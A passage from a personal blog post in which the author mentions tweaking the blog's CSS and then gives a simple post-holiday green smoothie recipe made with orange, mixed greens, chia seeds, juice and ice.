year I tweak the blog.  Usually I spend days looking for the perfect theme and then spend even more time trying to tweak it.  This year, I just tweaked the CSS.  Nothing fancy, but I think it looks better.  And for those that read the blog via your email or reader, you can have a little glimpse.

Now, about that green smoothie.

You ate too much, I ate too much.  Let’s just admit that we need a little detox.  Or at least a few more vegetables!  I did pretty good and stayed away from the cookies, but had my fair share of buttery-creamy-cheesy-fatty dishes.  Oh well.

When we got home, we loaded up on healthy looking food from Costco.  They were selling a bag of mixed greens that included spinach, kale and chard.  And since Nick is a fan of anything that includes kale, it made its way into our shopping cart.

I also ended up with an orange from my stocking.  So I combined the two, added some OJ, ice, and chia seeds and whipped it up in our magic bullet.

1/2 an orange, peeled
~1c mixed greens (I used spinach, kale, & chard)
2 tsp chia seeds (these are optional, but they are good for you and relatively flavorless)
1/4c OJ/Water (just a little liquid to get things flowing)
2 ice cubes

I pile all of this into my magic bullet cup and blend!  I’ve been finding that the greens close to the blade tend to work better (so that would mean the greens go in last).

It tastes mostly like orange juice and gets me a full serving of veggies all before breakfast!  Not bad at all!  Happy Friday!
